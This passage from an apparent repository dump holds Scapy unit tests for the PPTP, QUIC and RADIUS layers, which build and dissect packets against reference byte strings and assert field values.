outgoing_call_pkt.subaddress == b'test' + b'\\0' * (64-len('test'))\n\n= Test PPTP Outgoing-Call-Reply\n~ pptp\noutgoing_call_reply = PPTPOutgoingCallReply(call_id=4243, peer_call_id=4242,\n                                            result_code='Busy', error_code='No-Resource',\n                                            cause_code=42, connect_speed=5000,\n                                            pkt_window_size=32, pkt_proc_delay=3,\n                                            channel_id=42)\noutgoing_call_reply_ref_data = hex_bytes('002000011a2b3c4d00080000109310920404002a00001388002000030000002a')\n\nassert raw(outgoing_call_reply) == outgoing_call_reply_ref_data\n\noutgoing_call_reply_pkt = PPTP(outgoing_call_reply_ref_data)\n\nassert isinstance(outgoing_call_reply_pkt, PPTPOutgoingCallReply)\nassert outgoing_call_reply_pkt.magic_cookie == 0x1a2b3c4d\nassert outgoing_call_reply_pkt.call_id == 4243\nassert outgoing_call_reply_pkt.peer_call_id == 4242\nassert outgoing_call_reply_pkt.result_code == 4\nassert outgoing_call_reply_pkt.error_code == 4\nassert outgoing_call_reply_pkt.cause_code == 42\nassert outgoing_call_reply_pkt.connect_speed == 5000\nassert outgoing_call_reply_pkt.pkt_window_size == 32\nassert outgoing_call_reply_pkt.pkt_proc_delay == 3\nassert outgoing_call_reply_pkt.channel_id == 42\n\noutgoing_call_request = PPTPOutgoingCallRequest(call_id=4242)\n\nassert outgoing_call_reply_pkt.answers(outgoing_call_request)\nassert not outgoing_call_request.answers(outgoing_call_reply_pkt)\n\noutgoing_call_request_incorrect = PPTPOutgoingCallRequest(call_id=5656)\n\nassert not outgoing_call_reply_pkt.answers(outgoing_call_request_incorrect)\nassert not outgoing_call_request_incorrect.answers(outgoing_call_reply_pkt)\n\n= Test PPTP Incoming-Call-Request\n~ pptp\nincoming_call = PPTPIncomingCallRequest(call_id=4242, call_serial_number=47, bearer_type='Digital channel',\n                                        channel_id=12, dialed_number_len=9, dialing_number_len=10,\n                                        dialed_number='123456789', dialing_number='0123456789',\n                                        subaddress='test')\nincoming_call_ref_data = hex_bytes('00dc00011a2b3c4d000900001092002f000000020000000c0009000a313233343536373839'\\\n                         '00000000000000000000000000000000000000000000000000000000000000000000000000'\\\n                         '00000000000000000000000000000000000030313233343536373839000000000000000000'\\\n                         '00000000000000000000000000000000000000000000000000000000000000000000000000'\\\n                         '00000000000000007465737400000000000000000000000000000000000000000000000000'\\\n                         '0000000000000000000000000000000000000000000000000000000000000000000000')\n\nassert raw(incoming_call) == incoming_call_ref_data\n\nincoming_call_pkt = PPTP(incoming_call_ref_data)\n\nassert isinstance(incoming_call_pkt, PPTPIncomingCallRequest)\nassert incoming_call_pkt.magic_cookie == 0x1a2b3c4d\nassert incoming_call_pkt.call_id == 4242\nassert incoming_call_pkt.call_serial_number == 47\nassert incoming_call_pkt.bearer_type == 2\nassert incoming_call_pkt.channel_id == 12\nassert incoming_call_pkt.dialed_number_len == 9\nassert incoming_call_pkt.dialing_number_len == 10\nassert incoming_call_pkt.dialed_number == b'123456789' + b'\\0' * (64-len('123456789'))\nassert incoming_call_pkt.dialing_number == b'0123456789' + b'\\0' * (64-len('0123456879'))\nassert incoming_call_pkt.subaddress == b'test' + b'\\0' * (64-len('test'))\n\n= Test PPTP Incoming-Call-Reply\n~ pptp\nincoming_call_reply = PPTPIncomingCallReply(call_id=4243, peer_call_id=4242, result_code='Connected',\n                                            error_code='None', pkt_window_size=16, pkt_transmit_delay=42)\nincoming_call_reply_ref_data = hex_bytes('009400011a2b3c4d000a00001093109201000010002a0000')\n\nassert raw(incoming_call_reply) == incoming_call_reply_ref_data\n\nincoming_call_reply_pkt = PPTP(incoming_call_reply_ref_data)\nassert isinstance(incoming_call_reply_pkt, PPTPIncomingCallReply)\nassert incoming_call_reply_pkt.magic_cookie == 0x1a2b3c4d\nassert incoming_call_reply_pkt.call_id == 4243\nassert incoming_call_reply_pkt.peer_call_id == 4242\nassert incoming_call_reply_pkt.result_code == 1\nassert incoming_call_reply_pkt.error_code == 0\nassert incoming_call_reply_pkt.pkt_window_size == 16\nassert incoming_call_reply_pkt.pkt_transmit_delay == 42\n\nincoming_call_req = PPTPIncomingCallRequest(call_id=4242)\n\nassert incoming_call_reply_pkt.answers(incoming_call_req)\nassert not incoming_call_req.answers(incoming_call_reply)\n\nincoming_call_req_incorrect = PPTPIncomingCallRequest(call_id=4343)\nassert not incoming_call_reply_pkt.answers(incoming_call_req_incorrect)\nassert not incoming_call_req_incorrect.answers(incoming_call_reply_pkt)\n\n= Test PPTP Incoming-Call-Connected\n~ pptp\nincoming_call_connected = PPTPIncomingCallConnected(peer_call_id=4242, connect_speed=47474747,\n                                                    pkt_window_size=16, pkt_transmit_delay=7,\n                                                    framing_type='Any type of framing')\nincoming_call_connected_ref_data = hex_bytes('001c00011a2b3c4d000b00001092000002d4683b0010000700000003')\n\nassert raw(incoming_call_connected) == incoming_call_connected_ref_data\n\nincoming_call_connected_pkt = PPTP(incoming_call_connected_ref_data)\nassert isinstance(incoming_call_connected_pkt, PPTPIncomingCallConnected)\nassert incoming_call_connected_pkt.magic_cookie == 0x1a2b3c4d\nassert incoming_call_connected_pkt.peer_call_id == 4242\nassert incoming_call_connected_pkt.connect_speed == 47474747\nassert incoming_call_connected_pkt.pkt_window_size == 16\nassert incoming_call_connected_pkt.pkt_transmit_delay == 7\nassert incoming_call_connected_pkt.framing_type == 3\n\nincoming_call_reply = PPTPIncomingCallReply(call_id=4242)\n\nassert incoming_call_connected_pkt.answers(incoming_call_reply)\nassert not incoming_call_reply.answers(incoming_call_connected_pkt)\n\nincoming_call_reply_incorrect = PPTPIncomingCallReply(call_id=4243)\n\nassert not incoming_call_connected_pkt.answers(incoming_call_reply_incorrect)\nassert not incoming_call_reply_incorrect.answers(incoming_call_connected_pkt)\n\n= Test PPTP Call-Clear-Request\n~ pptp\ncall_clear_request = PPTPCallClearRequest(call_id=4242)\ncall_clear_request_ref_data = hex_bytes('001000011a2b3c4d000c000010920000')\n\nassert raw(call_clear_request) == call_clear_request_ref_data\n\ncall_clear_request_pkt = PPTP(call_clear_request_ref_data)\n\nassert isinstance(call_clear_request_pkt, PPTPCallClearRequest)\nassert call_clear_request_pkt.magic_cookie == 0x1a2b3c4d\nassert call_clear_request_pkt.call_id == 4242\n\n= Test PPTP Call-Disconnect-Notify\n~ pptp\ncall_disconnect_notify = PPTPCallDisconnectNotify(call_id=4242, result_code='Admin Shutdown', error_code='None',\n                                                  cause_code=47, call_statistic='some description')\ncall_disconnect_notify_ref_data = hex_bytes('009400011a2b3c4d000d000010920300002f0000736f6d65206465736372697074696'\\\n                                  'f6e000000000000000000000000000000000000000000000000000000000000000000'\\\n                                  '000000000000000000000000000000000000000000000000000000000000000000000'\\\n                                  '000000000000000000000000000000000000000000000000000000000000000000000'\\\n                                  '00000000000000000000')\n\nassert raw(call_disconnect_notify) == call_disconnect_notify_ref_data\n\ncall_disconnect_notify_pkt = PPTP(call_disconnect_notify_ref_data)\n\nassert isinstance(call_disconnect_notify_pkt, PPTPCallDisconnectNotify)\nassert call_disconnect_notify_pkt.magic_cookie == 0x1a2b3c4d\nassert call_disconnect_notify_pkt.call_id == 4242\nassert call_disconnect_notify_pkt.result_code == 3\nassert call_disconnect_notify_pkt.error_code == 0\nassert call_disconnect_notify_pkt.cause_code == 47\nassert call_disconnect_notify_pkt.call_statistic == b'some description' + b'\\0' * (128-len('some description'))\n\n= Test PPTP WAN-Error-Notify\n~ pptp\nwan_error_notify = PPTPWANErrorNotify(peer_call_id=4242, crc_errors=1, framing_errors=2,\n                                      hardware_overruns=3, buffer_overruns=4, time_out_errors=5,\n                                      alignment_errors=6)\nwan_error_notify_ref_data = hex_bytes('002800011a2b3c4d000e000010920000000000010000000200000003000000040000000500000006')\n\nassert raw(wan_error_notify) == wan_error_notify_ref_data\n\nwan_error_notify_pkt = PPTP(wan_error_notify_ref_data)\n\nassert isinstance(wan_error_notify_pkt, PPTPWANErrorNotify)\nassert wan_error_notify_pkt.magic_cookie == 0x1a2b3c4d\nassert wan_error_notify_pkt.peer_call_id == 4242\nassert wan_error_notify_pkt.crc_errors == 1\nassert wan_error_notify_pkt.framing_errors == 2\nassert wan_error_notify_pkt.hardware_overruns == 3\nassert wan_error_notify_pkt.buffer_overruns == 4\n\n= Test PPTP Set-Link-Info\n~ pptp\nset_link_info = PPTPSetLinkInfo(peer_call_id=4242, send_accm=0x0f0f0f0f, receive_accm=0xf0f0f0f0)\nset_link_info_ref_data = hex_bytes('001800011a2b3c4d000f0000109200000f0f0f0ff0f0f0f0')\n\nassert raw(set_link_info) == set_link_info_ref_data\n\nset_link_info_pkt = PPTP(set_link_info_ref_data)\n\nassert isinstance(set_link_info_pkt, PPTPSetLinkInfo)\nassert set_link_info_pkt.magic_cookie == 0x1a2b3c4d\nassert set_link_info_pkt.peer_call_id == 4242\nassert set_link_info_pkt.send_accm == 0x0f0f0f0f\nassert set_link_info_pkt.receive_accm == 0xf0f0f0f0\n"
  },
  {
    "path": "test/scapy/layers/quic.uts",
    "content": "% Scapy QUIC layer tests\n\n+ QUIC dissection / build\n\n% We use the examples from https://quic.xargs.org/. Big props & kudos to them !\n% FIXME TODO: THIS IS VERY INCOMPLETE.\n\n= QUIC - Dissect Client Initial Packet\n\nfrom scapy.layers.quic import *\n\npkt = QUIC(bytes.fromhex(\"c00000000108000102030405060705635f636964004103001c36a7ed78716be9711ba498b7ed868443bb2e0c514d4d848eadcc7a00d25ce9f9afa483978088de836be68c0b32a24595d7813ea5414a9199329a6d9f7f760dd8bb249bf3f53d9a77fbb7b395b8d66d7879a51fe59ef9601f79998eb3568e1fdc789f640acab3858a82ef2930fa5ce14b5b9ea0bdb29f4572da85aa3def39b7efafffa074b9267070d50b5d07842e49bba3bc787ff295d6ae3b514305f102afe5a047b3fb4c99eb92a274d244d60492c0e2e6e212cef0f9e3f62efd0955e71c768aa6bb3cd80bbb3755c8b7ebee32712f40f2245119487021b4b84e1565e3ca31967ac8604d4032170dec280aeefa095d08b3b7241ef6646a6c86e5c62ce08be099\"))\nassert QUIC_Initial in pkt\nassert pkt.LongPacketType == 0\nassert pkt.DstConnID == b\"\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\"\nassert pkt.SrcConnID == b\"c_cid\"\nassert pkt.Length == 259\nassert len(pkt.load) + 1 == 259\nassert pkt.PacketNumber == 0\n\n= QUIC - Dissect Server Initial Packet\n\nfrom scapy.layers.quic import *\n\npkt = QUIC(bytes.fromhex(\"c00000000105635f63696405735f63696400407500836855d5d9c823d07c616882ca770279249864b556e51632257e2d8ab1fd0dc04b18b9203fb919d8ef5a33f378a627db674d3c7fce6ca5bb3e8cf90109cbb955665fc1a4b93d05f6eb83252f6631bcadc7402c10f65c52ed15b4429c9f64d84d64fa406cf0b517a926d62a54a9294136b143b033\"))\nassert QUIC_Initial in pkt\nassert pkt.LongPacketType == 0\nassert pkt.DstConnID == b\"c_cid\"\nassert pkt.SrcConnID == b\"s_cid\"\nassert pkt.Length == 117\nassert len(pkt.load) + 1 == 117\nassert pkt.PacketNumber == 0\n\n= QUIC - Dissect Server Handshake Packet\n\nfrom scapy.layers.quic import *\n\npkt = QUIC(bytes.fromhex(\"e00000000105635f63696405735f63696440cf014420f919681c3f0f102a30f5e647a3399abf54bc8e80453134996ba33099056242f3b8e662bbfce42f3ef2b6ba87159147489f8479e849284e983fd905320a62fc7d67e9587797096ca60101d0b2685d8747811178133ad9172b7ff8ea83fd81a814bae27b953a97d57ebff4b4710dba8df82a6b49d7d7fa3d8179cbdb8683d4bfa832645401e5a56a76535f71c6fb3e616c241bb1f43bc147c296f591402997ed49aa0c55e31721d03e14114af2dc458ae03944de5126fe08d66a6ef3ba2ed1025f98fea6d6024998184687dc06\"))\nassert QUIC_Handshake in pkt\nassert pkt.LongPacketType == 2\nassert pkt.DstConnID == b\"c_cid\"\nassert pkt.SrcConnID == b\"s_cid\"\nassert pkt.PacketNumber == 1\n\n= QUIC - QuicPacketNumberField / QuicPacketNumberBitFieldLenField - variable lengths\n\nfrom scapy.layers.quic import *\n\npkt = QUIC_Initial(DstConnID=b'p\\xa2\\x8e@\\x96\\xc5}\\xd0\\xff\\xb6\\xc3\\xd8\\x1b\\xcaR', SrcConnID=b'\\xf7\\x10Q', PacketNumber=0xFF)\nassert bytes(pkt) == b'\\xc0\\x00\\x00\\x00\\x01\\x0fp\\xa2\\x8e@\\x96\\xc5}\\xd0\\xff\\xb6\\xc3\\xd8\\x1b\\xcaR\\x03\\xf7\\x10Q\\x00\\x00\\xff'\npkt = QUIC_Initial(bytes(pkt))\nassert pkt.DstConnIDLen == 15\nassert pkt.SrcConnIDLen == 3\nassert pkt.PacketNumberLen == 0\nassert pkt.PacketNumber == 0xFF\n\npkt = QUIC_Initial(DstConnID=b'p\\xa2\\x8e@\\x96\\xc5}\\xd0\\xff\\xb6\\xc3\\xd8\\x1b\\xcaR', SrcConnID=b'\\xf7\\x10Q', PacketNumber=0xFFFF)\nassert bytes(pkt) == b'\\xc1\\x00\\x00\\x00\\x01\\x0fp\\xa2\\x8e@\\x96\\xc5}\\xd0\\xff\\xb6\\xc3\\xd8\\x1b\\xcaR\\x03\\xf7\\x10Q\\x00\\x00\\xff\\xff'\npkt = QUIC_Initial(bytes(pkt))\nassert pkt.PacketNumberLen == 1\nassert pkt.PacketNumber == 0xFFFF\n\npkt = QUIC_Initial(DstConnID=b'p\\xa2\\x8e@\\x96\\xc5}\\xd0\\xff\\xb6\\xc3\\xd8\\x1b\\xcaR', SrcConnID=b'\\xf7\\x10Q', PacketNumber=0xFFFFFF)\nassert bytes(pkt) == b'\\xc2\\x00\\x00\\x00\\x01\\x0fp\\xa2\\x8e@\\x96\\xc5}\\xd0\\xff\\xb6\\xc3\\xd8\\x1b\\xcaR\\x03\\xf7\\x10Q\\x00\\x00\\xff\\xff\\xff'\npkt = QUIC_Initial(bytes(pkt))\nassert pkt.PacketNumberLen == 2\nassert pkt.PacketNumber == 0xFFFFFF\n\npkt = QUIC_Initial(DstConnID=b'p\\xa2\\x8e@\\x96\\xc5}\\xd0\\xff\\xb6\\xc3\\xd8\\x1b\\xcaR', SrcConnID=b'\\xf7\\x10Q', PacketNumber=0xFFFFFFFF)\nassert bytes(pkt) == b'\\xc3\\x00\\x00\\x00\\x01\\x0fp\\xa2\\x8e@\\x96\\xc5}\\xd0\\xff\\xb6\\xc3\\xd8\\x1b\\xcaR\\x03\\xf7\\x10Q\\x00\\x00\\xff\\xff\\xff\\xff'\npkt = QUIC_Initial(bytes(pkt))\nassert pkt.PacketNumberLen == 3\nassert pkt.PacketNumber == 0xFFFFFFFF\n\n= QUIC - QuicPacketNumberField / QuicPacketNumberBitFieldLenField - Out of range\n\nimport struct\nfrom scapy.layers.quic import *\n\ntry:\n    pkt = QUIC_Initial(PacketNumber=0xFFFFFFFFFF)\n    bytes(pkt)\n    assert False, \"QUIC Packet Number length should fail\"\nexcept struct.error:\n    pass\n\n= QUIC - QuicVarIntField - variable lengths\n\nfrom scapy.layers.quic import *\n\npkt = QUIC_Initial(Length=1)\nassert bytes(pkt) == b'\\xc0\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00'\nassert QUIC_Initial(bytes(pkt)).Length == 1\n\npkt = QUIC_Initial(Length=1 << 9)\nassert bytes(pkt) == b'\\xc0\\x00\\x00\\x00\\x01\\x00\\x00\\x00B\\x00\\x00'\nassert QUIC_Initial(bytes(pkt)).Length == 1 << 9\n\npkt = QUIC_Initial(Length=1 << 17)\nassert bytes(pkt) == b'\\xc0\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x80\\x02\\x00\\x00\\x00'\nassert QUIC_Initial(bytes(pkt)).Length == 1 << 17\n\npkt = QUIC_Initial(Length=4611686018427387903)\nassert bytes(pkt) == b'\\xc0\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00'\nassert QUIC_Initial(bytes(pkt)).Length == 4611686018427387903\n\n= QUIC - QuicVarIntField - Out of range\n\nimport struct\nfrom scapy.layers.quic import *\n\ntry:\n    pkt = QUIC_Initial(Length=0xFFFFFFFFFFFFFFFF)\n    bytes(pkt)\n    assert False, \"QUIC Variable length should fail\"\nexcept struct.error:\n    pass\n"
  },
  {
    "path": "test/scapy/layers/radius.uts",
    "content": "% Scapy Radius layer tests\n\n\n############\n############\n+ RADIUS tests\n\n= IP/UDP/RADIUS - Build\ns = raw(IP(src=\"127.0.0.1\", dst=\"127.0.0.1\")/UDP(sport=1812)/Radius(authenticator=\"scapy\")/RadiusAttribute(value=\"scapy\"))\ns == b'E\\x00\\x007\\x00\\x01\\x00\\x00@\\x11|\\xb3\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x07\\x14\\x07\\x14\\x00#U\\xb3\\x01\\x00\\x00\\x1bscapy\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x07scapy'\n\n= IP/UDP/RADIUS - Dissection\np = IP(s)\nRadius in p and len(p[Radius].attributes) == 1 and p[Radius].attributes[0].value == b\"scapy\"\n\n= RADIUS - Access-Request - Dissection (1)\ns = b'\\x01\\xae\\x01\\x17>k\\xd4\\xc4\\x19V\\x0b*1\\x99\\xc8D\\xea\\xc2\\x94Z\\x01\\x06leap\\x06\\x06\\x00\\x00\\x00\\x02\\x1a\\x1b\\x00\\x00\\x00\\t\\x01\\x15service-type=Framed\\x0c\\x06\\x00\\x00#\\xee\\x1e\\x13AC-7E-8A-4E-E2-92\\x1f\\x1300-26-73-9E-0F-D3O\\x0b\\x02\\x01\\x00\\t\\x01leapP\\x12U\\xbc\\x12\\xcdM\\x00\\xf8\\xdb4\\xf1\\x18r\\xca_\\x8c\\xf6f\\x02\\x1a1\\x00\\x00\\x00\\t\\x01+audit-session-id=0AC8090E0000001A0354CA00\\x1a\\x14\\x00\\x00\\x00\\t\\x01\\x0emethod=dot1x\\x08\\x06\\xc0\\xa8\\n\\xb9\\x04\\x06\\xc0\\xa8\\n\\x80\\x1a\\x1d\\x00\\x00\\x00\\t\\x02\\x17GigabitEthernet1/0/18W\\x17GigabitEthernet1/0/18=\\x06\\x00\\x00\\x00\\x0f\\x05\\x06\\x00\\x00\\xc3\\xc6'\nradius_packet = Radius(s)\nassert radius_packet.id == 174\nassert radius_packet.len == 279\nassert radius_packet.authenticator == b'>k\\xd4\\xc4\\x19V\\x0b*1\\x99\\xc8D\\xea\\xc2\\x94Z'\nassert len(radius_packet.attributes) == 17\nassert radius_packet.attributes[0].type == 1\nassert type(radius_packet.attributes[0]) == RadiusAttr_User_Name\nassert radius_packet.attributes[0].len == 6\nassert radius_packet.attributes[0].value == b\"leap\"\nassert radius_packet.attributes[1].type == 6\nassert type(radius_packet.attributes[1]) == RadiusAttr_Service_Type\nassert radius_packet.attributes[1].len == 6\nassert radius_packet.attributes[1].value == 2\nassert radius_packet.attributes[2].type == 26\nassert type(radius_packet.attributes[2]) == RadiusAttr_Vendor_Specific\nassert radius_packet.attributes[2].len == 27\nassert radius_packet.attributes[2].vendor_id == 9\nassert radius_packet.attributes[2].vendor_type == 1\nassert radius_packet.attributes[2].vendor_len == 21\nassert radius_packet.attributes[2].value == b\"service-type=Framed\"\nassert radius_packet.attributes[6].type == 79\nassert type(radius_packet.attributes[6]) == RadiusAttr_EAP_Message\nassert radius_packet.attributes[6].len == 11\nassert radius_packet.attributes[6].value.haslayer(EAP)\nassert radius_packet.attributes[6].value[EAP].code == 2\nassert radius_packet.attributes[6].value[EAP].id == 1\nassert radius_packet.attributes[6].value[EAP].len == 9\nassert radius_packet.attributes[6].value[EAP].type == 1\nassert hasattr(radius_packet.attributes[6].value[EAP], \"identity\")\nassert radius_packet.attributes[6].value[EAP].identity == b\"leap\"\nassert radius_packet.attributes[7].type == 80\nassert type(radius_packet.attributes[7]) == RadiusAttr_Message_Authenticator\nassert radius_packet.attributes[7].len == 18\nassert radius_packet.attributes[7].value == b'U\\xbc\\x12\\xcdM\\x00\\xf8\\xdb4\\xf1\\x18r\\xca_\\x8c\\xf6'\nassert radius_packet.attributes[11].type == 8\nassert type(radius_packet.attributes[11]) == RadiusAttr_Framed_IP_Address\nassert radius_packet.attributes[11].len == 6\nassert radius_packet.attributes[11].value == '192.168.10.185'\nassert radius_packet.attributes[16].type == 5\nassert type(radius_packet.attributes[16]) == RadiusAttr_NAS_Port\nassert radius_packet.attributes[16].len == 6\nassert radius_packet.attributes[16].value == 50118\n\nf,v = radius_packet.getfield_and_val(\"authenticator\")\nassert f.i2repr(None, v) == '3e6bd4c419560b2a3199c844eac2945a'\n\n= RADIUS - compute_message_authenticator()\nram = radius_packet[RadiusAttr_Message_Authenticator]\nassert ram.compute_message_authenticator(radius_packet, b\"dummy bytes\", b\"scapy\") == b'I\\x85l\\x8f\\xa5\\xd6\\xbc\\xb5\\x08\\xe0<\\xebH\\x9d\\xfb?'\n\n= RADIUS - Access-Challenge - Dissection (2)\ns = b'\\x0b\\xae\\x00[\\xc7\\xae\\xfc6\\xa1=\\xb5\\x99&^\\xdf=\\xe9\\x00\\xa6\\xe8\\x12\\rHello, leapO\\x16\\x01\\x02\\x00\\x14\\x11\\x01\\x00\\x08\\xb8\\xc4\\x1a4\\x97x\\xd3\\x82leapP\\x12\\xd3\\x12\\x17\\xa6\\x0c.\\x94\\x85\\x03]t\\xd1\\xdb\\xd0\\x13\\x8c\\x18\\x12iQs\\xf7iSb@k\\x9d,\\xa0\\x99\\x8ehO'\nradius_packet = Radius(s)\nassert radius_packet.id == 174\nassert radius_packet.len == 91\nassert radius_packet.authenticator == b'\\xc7\\xae\\xfc6\\xa1=\\xb5\\x99&^\\xdf=\\xe9\\x00\\xa6\\xe8'\nassert len(radius_packet.attributes) == 4\nassert radius_packet.attributes[0].type == 18\nassert type(radius_packet.attributes[0]) == RadiusAttribute\nassert radius_packet.attributes[0].len == 13\nassert radius_packet.attributes[0].value == b\"Hello, leap\"\nassert radius_packet.attributes[1].type == 79\nassert type(radius_packet.attributes[1]) == RadiusAttr_EAP_Message\nassert radius_packet.attributes[1].len == 22\nassert radius_packet.attributes[1][EAP].code == 1\nassert radius_packet.attributes[1][EAP].id == 2\nassert radius_packet.attributes[1][EAP].len == 20\nassert radius_packet.attributes[1][EAP].type == 17\nassert radius_packet.attributes[2].type == 80\nassert type(radius_packet.attributes[2]) == RadiusAttr_Message_Authenticator\nassert radius_packet.attributes[2].len == 18\nassert radius_packet.attributes[2].value == b'\\xd3\\x12\\x17\\xa6\\x0c.\\x94\\x85\\x03]t\\xd1\\xdb\\xd0\\x13\\x8c'\nassert radius_packet.attributes[3].type == 24\nassert type(radius_packet.attributes[3]) == RadiusAttr_State\nassert radius_packet.attributes[3].len == 18\nassert radius_packet.attributes[3].value == b'iQs\\xf7iSb@k\\x9d,\\xa0\\x99\\x8ehO'\n\n= RADIUS - Access-Request - Dissection (3)\ns = b'\\x01\\xaf\\x01DC\\xbe!J\\x08\\xdf\\xcf\\x9f\\x00v~,\\xfb\\x8e`\\xc8\\x01\\x06leap\\x06\\x06\\x00\\x00\\x00\\x02\\x1a\\x1b\\x00\\x00\\x00\\t\\x01\\x15service-type=Framed\\x0c\\x06\\x00\\x00#\\xee\\x1e\\x13AC-7E-8A-4E-E2-92\\x1f\\x1300-26-73-9E-0F-D3O&\\x02\\x02\\x00$\\x11\\x01\\x00\\x18\\rE\\xc9\\x92\\xf6\\x9ae\\x04\\xa2\\x06\\x13\\x8f\\x0b#\\xf1\\xc56\\x8eU\\xd9\\x89\\xe5\\xa1)leapP\\x12|\\x1c\\x9d[dv\\x9c\\x19\\x96\\xc6\\xec\\xb82\\x8f\\n f\\x02\\x1a1\\x00\\x00\\x00\\t\\x01+audit-session-id=0AC8090E0000001A0354CA00\\x1a\\x14\\x00\\x00\\x00\\t\\x01\\x0emethod=dot1x\\x08\\x06\\xc0\\xa8\\n\\xb9\\x04\\x06\\xc0\\xa8\\n\\x80\\x1a\\x1d\\x00\\x00\\x00\\t\\x02\\x17GigabitEthernet1/0/18W\\x17GigabitEthernet1/0/18=\\x06\\x00\\x00\\x00\\x0f\\x05\\x06\\x00\\x00\\xc3\\xc6\\x18\\x12iQs\\xf7iSb@k\\x9d,\\xa0\\x99\\x8ehO'\nradius_packet = Radius(s)\nassert radius_packet.id == 175\nassert radius_packet.len == 324\nassert radius_packet.authenticator == b'C\\xbe!J\\x08\\xdf\\xcf\\x9f\\x00v~,\\xfb\\x8e`\\xc8'\nassert len(radius_packet.attributes) == 18\nassert radius_packet.attributes[0].type == 1\nassert type(radius_packet.attributes[0]) == RadiusAttr_User_Name\nassert radius_packet.attributes[0].len == 6\nassert radius_packet.attributes[0].value == b\"leap\"\nassert radius_packet.attributes[1].type == 6\nassert type(radius_packet.attributes[1]) == RadiusAttr_Service_Type\nassert radius_packet.attributes[1].len == 6\nassert radius_packet.attributes[1].value == 2\nassert radius_packet.attributes[2].type == 26\nassert type(radius_packet.attributes[2]) == RadiusAttr_Vendor_Specific\nassert radius_packet.attributes[2].len == 27\nassert radius_packet.attributes[2].vendor_id == 9\nassert radius_packet.attributes[2].vendor_type == 1\nassert radius_packet.attributes[2].vendor_len == 21\nassert radius_packet.attributes[2].value == b\"service-type=Framed\"\nassert radius_packet.attributes[6].type == 79\nassert type(radius_packet.attributes[6]) == RadiusAttr_EAP_Message\nassert radius_packet.attributes[6].len == 38\nassert radius_packet.attributes[6].value.haslayer(EAP)\nassert radius_packet.attributes[6].value[EAP].code == 2\nassert radius_packet.attributes[6].value[EAP].id == 2\nassert radius_packet.attributes[6].value[EAP].len == 36\nassert radius_packet.attributes[6].value[EAP].type == 17\nassert radius_packet.attributes[7].type == 80\nassert type(radius_packet.attributes[7]) == RadiusAttr_Message_Authenticator\nassert radius_packet.attributes[7].len == 18\nassert radius_packet.attributes[7].value == b'|\\x1c\\x9d[dv\\x9c\\x19\\x96\\xc6\\xec\\xb82\\x8f\\n '\nassert radius_packet.attributes[11].type == 8\nassert type(radius_packet.attributes[11]) == RadiusAttr_Framed_IP_Address\nassert radius_packet.attributes[11].len == 6\nassert radius_packet.attributes[11].value == '192.168.10.185'\nassert radius_packet.attributes[16].type == 5\nassert type(radius_packet.attributes[16]) == RadiusAttr_NAS_Port\nassert radius_packet.attributes[16].len == 6\nassert radius_packet.attributes[16].value == 50118\nassert radius_packet.attributes[17].type == 24\nassert type(radius_packet.attributes[17]) == RadiusAttr_State\nassert radius_packet.attributes[17].len == 18\nassert radius_packet.attributes[17].value == b'iQs\\xf7iSb@k\\x9d,\\xa0\\x99\\x8ehO'\n\n= RADIUS - Access-Challenge - Dissection (4)\ns = b'\\x0b\\xaf\\x00K\\x82 \\x95=\\xfd\\x80\\x05 -l}\\xab)\\xa5kU\\x12\\rHello, leapO\\x06\\x03\\x03\\x00\\x04P\\x12l0\\xb9\\x8d\\xca\\xfc!\\xf3\\xa7\\x08\\x80\\xe1\\xf6}\\x84\\xff\\x18\\x12iQs\\xf7hRb@k\\x9d,\\xa0\\x99\\x8ehO'\nradius_packet = Radius(s)\nassert radius_packet.id == 175\nassert radius_packet.len == 75\nassert radius_packet.authenticator == b'\\x82 \\x95=\\xfd\\x80\\x05 -l}\\xab)\\xa5kU'\nassert len(radius_packet.attributes) == 4\nassert radius_packet.attributes[0].type == 18\nassert type(radius_packet.attributes[0]) == RadiusAttribute\nassert radius_packet.attributes[0].len == 13\nassert radius_packet.attributes[0].value == b\"Hello, leap\"\nassert radius_packet.attributes[1].type == 79\nassert type(radius_packet.attributes[1]) == RadiusAttr_EAP_Message\nassert radius_packet.attributes[1].len == 6\nassert radius_packet.attributes[1][EAP].code == 3\nassert radius_packet.attributes[1][EAP].id == 3\nassert radius_packet.attributes[1][EAP].len == 4\nassert radius_packet.attributes[2].type == 80\nassert type(radius_packet.attributes[2]) == RadiusAttr_Message_Authenticator\nassert radius_packet.attributes[2].len == 18\nassert radius_packet.attributes[2].value == b'l0\\xb9\\x8d\\xca\\xfc!\\xf3\\xa7\\x08\\x80\\xe1\\xf6}\\x84\\xff'\nassert radius_packet.attributes[3].type == 24\nassert type(radius_packet.attributes[3]) == RadiusAttr_State\nassert radius_packet.attributes[3].len == 18\nassert radius_packet.attributes[3].value == b'iQs\\xf7hRb@k\\x9d,\\xa0\\x99\\x8ehO'\n\n= RADIUS - Response Authenticator computation\ns = b'\\x01\\xae\\x01\\x17>k\\xd4\\xc4\\x19V\\x0b*1\\x99\\xc8D\\xea\\xc2\\x94Z\\x01\\x06leap\\x06\\x06\\x00\\x00\\x00\\x02\\x1a\\x1b\\x00\\x00\\x00\\t\\x01\\x15service-type=Framed\\x0c\\x06\\x00\\x00#\\xee\\x1e\\x13AC-7E-8A-4E-E2-92\\x1f\\x1300-26-73-9E-0F-D3O\\x0b\\x02\\x01\\x00\\t\\x01leapP\\x12U\\xbc\\x12\\xcdM\\x00\\xf8\\xdb4\\xf1\\x18r\\xca_\\x8c\\xf6f\\x02\\x1a1\\x00\\x00\\x00\\t\\x01+audit-session-id=0AC8090E0000001A0354CA00\\x1a\\x14\\x00\\x00\\x00\\t\\x01\\x0emethod=dot1x\\x08\\x06\\xc0\\xa8\\n\\xb9\\x04\\x06\\xc0\\xa8\\n\\x80\\x1a\\x1d\\x00\\x00\\x00\\t\\x02\\x17GigabitEthernet1/0/18W\\x17GigabitEthernet1/0/18=\\x06\\x00\\x00\\x00\\x0f\\x05\\x06\\x00\\x00\\xc3\\xc6'\naccess_request = Radius(s)\ns = b'\\x0b\\xae\\x00[\\xc7\\xae\\xfc6\\xa1=\\xb5\\x99&^\\xdf=\\xe9\\x00\\xa6\\xe8\\x12\\rHello, 